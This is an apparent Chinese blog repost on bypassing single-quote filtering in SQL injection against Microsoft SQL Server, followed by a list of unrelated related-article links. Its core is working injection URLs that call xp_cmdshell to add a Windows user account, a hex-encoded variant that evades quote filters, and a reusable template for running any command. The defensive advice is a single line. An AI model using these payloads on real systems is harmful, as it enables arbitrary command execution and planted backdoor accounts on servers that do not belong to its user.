饶过'(单引号)限制继续射入

转载 2006年06月26日 11:59:00
  我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的,包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


  这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a


解决办法:

  过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。

相关文章推荐

Android在图片画线(放大,旋转,平移后可继续正确画线,限制画线区域)

小弟最近因为公司业务需求,需要给学校的老师们做一个在手机和电脑上同步进行图片上画线批注的效果.开始在网上找了几天, 但没有找到符合我们要求的开源项目.所以最后花了一定时间研究相关信息,写了这个自定义v...

php单引号和双引号的区别

  • 2012年07月13日 19:14
  • 10KB
  • 下载

PHP当中单引号和双引号的区别

  • 2012年08月06日 17:27
  • 23KB
  • 下载

postfix邮件服务:限制用户发送、接收;出站地址伪装、入站地址转换

限制用户发送配置[root@westos-mail ~]# postconf -e “smtpd_sender_restrictions = check_sender_access hash:/etc...

asp单引号双引号.doc

  • 2012年03月27日 15:24
  • 32KB
  • 下载

使用Windows 高级防火墙 限制远程桌面连接入站IP地址

1.打开“控制面板”,“管理工具”,“高级安全 Windows 防火墙”  2.点击“入站规则”,“远程桌面(TCP-In)”的“属性” 3.在“作用域”中的“远程...
  • hualele
  • hualele
  • 2016年10月25日 11:16
  • 2273
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:饶过'(单引号)限制继续射入
举报原因:
原因补充:

(最多只允许输入30个字)